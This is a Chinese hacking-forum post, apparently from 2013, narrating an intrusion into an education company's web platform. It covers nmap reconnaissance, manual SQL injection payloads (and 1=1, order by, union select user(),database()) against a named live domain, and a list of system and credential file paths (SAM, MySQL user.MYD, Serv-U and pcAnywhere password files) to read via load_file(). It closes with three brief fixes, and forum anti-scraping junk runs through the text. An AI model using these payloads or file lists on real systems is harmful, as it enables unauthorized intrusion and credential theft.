中国网络渗透测试联盟
标题:
记一次Linux系统PHP注入入侵检测
[打印本页]
作者:
admin
时间:
2013-2-16 22:23
标题:
记一次Linux系统PHP注入入侵检测
题记：
/ y8 n4 R# Z; J8 \9 |8 O; G
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
3 g: `: p, {" h" e
第一步：获取需要的信息
% @9 w4 \! f! g c9 J( W- @
由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。
6 |* E: @0 f: }: y) O" r/ q* Z
注：以下为保护特用XXX代替敏感信息
& p+ n P! v0 l8 u2 I- |; f- k
顺手先PING了一下他们的域名：
( a' ~% K, I3 m' @. l& G$ D2 s
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
* e% W1 i8 j Z
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
' x& \! _5 M) _$ Q+ `3 \5 U
顺便了解一下TTL，学好基础知识才能一路顺风：
! R( y4 [4 u$ m1 }
TTL：(Time To Live ) 生存时间
2 S: U% _1 g! V% j5 ^' A
指定数据包被路由器丢弃之前允许通过的网段数量。
j* A. P# l) l
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。
& e) R9 V3 X0 z/ V
使用PING时涉及到的 ICMP 报文类型
5 L5 ~) A$ v+ h6 y: ]$ o6 v
一个为ICMP请求回显（ICMP Echo Request）
8 |3 U) y2 r; s4 I- ~/ h O
一个为ICMP回显应答（ICMP Echo Reply）
) e( E, P# `* z( {4 A1 W0 R# F
TTL 字段值可以帮助我们识别操作系统类型。
6 V2 ^: m# _+ E( ^# u
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
5 D" N$ X$ \5 W4 g
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
% {( n0 v" B @1 J: f" i V. j* h
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
( C4 s% ?& C; Z& S$ E
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
& A8 H- k Z( Y! e+ ~/ N$ o! D
当然，返回的TTL值是相同的
- L& k- Z/ _6 e/ Z# z
但有些情况下有所特殊
" |2 K+ |- g# ^9 E. o1 l/ N
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
6 G6 ~) W! y2 Q/ X) J
FreeBSD 4.1, 4.0, 3.4;
* n" O O$ A; |- B
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
7 O, W0 @/ @% H. U
OpenBSD 2.6, 2.7,
& B4 L L4 P; B* n6 l( b
NetBSD
( t3 B- t5 E L/ D
HP UX 10.20
) ~% T( N( M) v7 i
ICMP 回显应答的 TTL 字段值为 255
: l% S; ?+ z" J6 I
Windows 95/98/98SE
( C8 j4 ^. M# r; Y* k$ I6 a* Y. Q& m
Windows ME
0 n5 v% f" \! x: p
ICMP 回显应答的 TTL 字段值为 32
: X# `; _4 ~8 o* {. B& E& J
Windows NT4 WRKS
6 S+ W# |1 E2 N/ {. V
Windows NT4 Server
{& U: d |1 z9 U' e' {
Windows 2000
9 s+ K5 @+ _, q) I* G. ]9 i' i
Windows XP
% I6 s* R J0 Q4 D- i
ICMP 回显应答的 TTL 字段值为 128
' }1 ^& t( l+ B9 [9 u
这样，我们就可以通过这种方法来辨别操作系统
( Z8 [2 f5 `( e( K' z' q
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
7 x7 B6 {' G8 V3 E
用NMAP扫描一下：
- u* G% Q0 H9 A5 O& a9 z
nmap -sT -O XXX.XXX.XXX.XXX
5 q$ F, }* Q% {# A( u
如果没有装WinPcap则会弹出提示：
/ y: D3 |1 F" W! @* f# I
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
- R. p8 g; }: E2 j1 @6 h$ K, ?/ ~
ade to version 3.1 or higher from
http://www.winpcap.org.
Resorting to connect(
. P; {4 P# v) ]6 e
) mode — Nmap may not function completely
- H0 d5 V% I7 C0 a# B
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
" r8 D# u' ~. h. _+ o
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
2 W$ j# B2 `+ f) J
pcap is available from
http://www.winpcap.org.
iphlpapi.dll comes with Win98 an
" I5 p2 u4 ?1 d0 }
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
' R d, n3 B7 S$ S* f4 c
ersions, you may be able to take iphlpapi.dll from another system and place it i
% y, _+ t7 d1 k, D! F" t
n your system32 dir (e.g. c:\windows\system32).
5 l$ m" I& f5 q# E9 D3 k. o9 h$ m" H% R
QUITTING!
7 o9 j' x3 m/ _& u
到这里下载：
http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
9 e6 y' Q1 R6 ~( P0 M8 T; ?; b
安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
/ V5 f6 Q6 a/ \; u* w- d
Interesting ports on XXX.XXX.XXX.XXX:
( X, H' q4 a& H; d
Not shown: 986 closed ports
2 @! O* ?* X+ ~- |. [ B( `/ ^
PORT STATE SERVICE
5 f9 V0 u z6 e2 s+ a0 {$ z: Y. g4 j
21/tcp open ftp
9 B- V l* _* ]/ O% G1 N
22/tcp open ssh
' |% N- L* ^/ [4 R4 { t
23/tcp open telnet
0 t7 W* Z/ V0 ]# i2 l9 G
80/tcp open http
: ?/ ^0 Y. l* H2 w/ \( u
111/tcp open rpcbind
- W7 z+ x# R/ T2 L* G5 D
135/tcp filtered msrpc
* S$ y( m6 o7 M8 g- H: l; D
139/tcp filtered netbios-ssn
9 Z( p; h' m2 ^3 G+ f2 ^ g
445/tcp filtered microsoft-ds
4 [: H0 n2 o2 J0 y( m3 v
513/tcp open login
3 D$ P8 X7 W# J5 D
514/tcp open shell
' T, }$ \/ y) P3 O& |( X7 K+ W
593/tcp filtered http-rpc-epmap
: a- ]! O/ u `& Z
1720/tcp filtered H.323/Q.931
1 X7 X! {8 [4 G) O9 r" ? E
3306/tcp open mysql
! v/ v9 w% v9 {3 y' a$ G5 j7 C
4444/tcp filtered krb524
1 \! |: a# U, ^ f2 I2 [' B5 b1 Y
Device type: WAP
5 o) C5 [- D2 M# b- `
Running: Linux 2.4.X
+ |5 e- x& w" o: T+ s9 r3 m" s
OS details: DD-WRT (Linux 2.4.35s)
0 V l6 J! M" ]- C" n8 A
Network Distance: 13 hops
( z5 U: M- _+ |5 G
看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
6 r; L+ @0 w4 c6 j; R, Z- p4 f* x
login as:
2 g5 ]& b+ c; u! ?- [6 C
Telnet23端口也是开着的，用telnet 命令链接一下：
5 [; x' u: b, O+ i0 f& H0 m! X2 r1 s. d
telnet XXX.XXX.XXX.XXX
0 X+ Y' }1 m F% F% w
提示：
3 ]9 q8 Y+ P, y* I
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
, @- ]* y$ F! f t( l) n- }% o: Z
Kernel 2.6.18-92.el5PAE on an i686
3 b$ q1 C r) d( M
login:
8 R9 b3 n5 q! G/ c8 g, V" v
获取HTTP头信息：
2 y: Z6 y! Q" l1 N; C$ Y8 L
在本地执行如下PHP代码
! B0 Z9 s4 o/ U% a% `( P0 X
<?php
! h! w0 _& k. Y- o' ?- f5 M3 f5 Q; W S
$url = ‘XXX.XXX.XXX.XXX’;
* y) [+ [' E+ W* o/ [& }4 N
print_r(get_headers($url));
0 E( h8 F3 [ m+ Z& g
print_r(get_headers($url, 1));
F' Z ~. m$ G* q: u1 ~) b
?>
1 `' M4 U, t5 n( M; Q/ E, {
将以上代码保存为PHP文件，执行：
~2 m, R7 G5 p* q
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
/ B" Z# w4 x7 S" V3 m! D
现在可以得出结论：
" v3 T5 ^& c. R
系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
/ c4 ?3 `6 O- T c4 O" t
内核版本：Kernel 2.6.18-92.el5PAE on an i686
8 T- ?5 Q _8 r/ \
WEB服务器版本：nginx/0.7.61
- @* X. }" Q/ ~$ z
第二步，开始测试寻找漏洞
' }3 A- P( Y) W/ U T
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
0 o4 g0 Q1 b! t- d
1、敏感地址：站内存在有类似：
http://www.fovweb.com/XXX.php?id=123
这种地址，属动态传参的
& Y2 |* o2 I. }8 d- t1 |
2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
5 i% D) A$ ` f/ `: p
http://www.fovweb.com/XXX.php?id=123
and 1=1 返回正常
0 Z) k/ a' D/ ~3 o* m2 e
http://www.fovweb.com/XXX.php?id=123
and 1=2 返回错误
' {8 g3 _0 i$ O' Q
恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
2 X3 `- v* {. o$ }# V1 D/ l4 j
3、手工注入：
; r8 J5 i* \; }* _$ F( G! o
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
$ x ?/ } ]* b- c- w" R( G Y/ y
3.1 猜测当前表字段数
! F8 ?: @/ s7 h7 F
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 10
0 F Y8 {& U! ?3 R2 U
此处猜测有个简单的算法，都是有技巧的吗，呵呵
/ R6 [! `# w) L( n; t
算法简单如下：
2 V" @" v1 x! m i' @
第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
. Q8 Q/ Q0 v: x
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
O4 z7 m" d1 F( J3 j& l
需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
/ f1 G1 i4 Y8 \ @2 ?
以此来判断，是否过界，配合取中算法猜出字段数。
4 i1 Z# ?# \4 z0 p- D9 ?) S f
举例：
1 q, A3 S( ?# f. t7 |8 a& \4 x. b
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 3 返回正常
6 T" a/ L) v2 s5 B* o9 Q
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 4 返回错误
+ B6 m8 L% I" Z: Y; E$ _( c
此时3则为我们要找的字段数。
4 o) a' H3 N5 d9 w% m* `( e
3.2 配合union联合查询字段在页面所位置
0 b9 @6 x6 S+ `: `- ^ [
我们已经知道了字段数为3，此时则可以做如下操作：
" I {1 Q3 ~3 i
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,2,3
' a' U+ G) Q' u4 B/ Q
; j% v; M+ Y" A
这样就可以测试到哪些字段在页面上有所显示了，如图：
+ H+ d: o( m& J8 v( z* e, _# h7 Y
7 j2 Y6 N3 b- Q# N
3.3 查敏感信息
, _2 O1 o( C/ p" }9 V: Y
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
1 M+ [! p4 U0 I" g* x
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,user(),database()
8 a5 L9 m/ Q( [" {
3.3.1 先查数据库用户、数据库名，以备后用，如图：
: s: I2 W/ b7 `' ]) N4 Y
) V- E7 N0 x. f0 k
得到数据库用户为root、数据库名为DBxx；
& q3 e# D/ x) n6 m! U0 V( m
3.3.2 查配置文件
3 |8 t$ k0 J& O# w8 `: b! L
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
, @2 _8 R9 |. _$ u
查看文件有一定的条件限制：
) P. f5 K+ ^4 m, B0 t* f, e
欲读取文件必须在服务器上
5 O1 N; w( A( S. h9 h J% q' U
必须指定文件完整的路径
0 S7 T, T+ y5 h& o, ?1 y1 q
必须有权限读取并且文件必须完全可读
, x, h! M( Y/ g0 [
欲读取文件必须小于 max_allowed_packet
- Z4 l' ~! h! h
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
9 P- t; t3 B( ]/ L1 Z
常用的一些：
- E. i3 y6 l( h: l1 V) r* M. [
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
6 F+ I, j" I( V0 m! y8 C
/usr/local/apache2/conf/httpd.conf
U) t. c4 `/ _
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
9 X' @3 k, Q9 z
/usr/local/app/php5/lib/php.ini //PHP相关设置
) h5 ?/ o2 v# n: [& P5 @/ M
/etc/sysconfig/iptables //从中得到防火墙规则策略
2 t m* _; A! y7 A
/etc/httpd/conf/httpd.conf // apache配置文件
) t( I: W3 w, I; R* K4 Z, S# r
/etc/rsyncd.conf //同步程序配置文件
% W9 \- Q" {6 v9 ] [0 @
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
+ l- W. h0 c2 `; r/ ^# t; W/ r
/etc/my.cnf //mysql的配置文件
+ S) ?% j/ Z2 p C% Z
/etc/redhat-release //系统版本
) @; x3 z: G1 i8 ^$ P; }" i
/etc/issue
* C( G+ F' S, D3 C& k
/etc/issue.net
( D, K2 S/ j) C
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
3 w* @, e4 b- p8 B* _& z
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
$ k/ l2 H, G$ D3 q, x
c:\Program Files\Serv-U\ServUDaemon.ini
3 |# R0 E4 |7 ~
c:\windows\my.ini //MYSQL配置文件
* ]5 H# J$ W, y% R g
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
: ^$ T s' D4 u9 p! y+ Y3 `- _
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
* U `$ b6 d+ P, n6 g3 S* o9 I
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
% F, [3 H3 @9 f: m. _
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
! f8 j/ G0 ?% K
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
- M' i: L# h* n. {( J( p
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
/ }7 f5 I1 y* x1 o1 _
//存储了pcAnywhere的登陆密码
, g* w& O G0 A; J0 A3 M
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
* m5 m+ P) M6 [2 v# l
这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
: S! |1 n5 T$ t: P, S' ^8 Y. H* ?
最后：防范措施
+ }( C" o# j7 Q8 R. k! W
1、修复PHP注入漏洞；
" T" p4 Q& v" |" | n" F
2、Mysql使用普通权限的用户；
' ~* r U+ f4 M; } e
3、升级linux内核至最新版本；
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2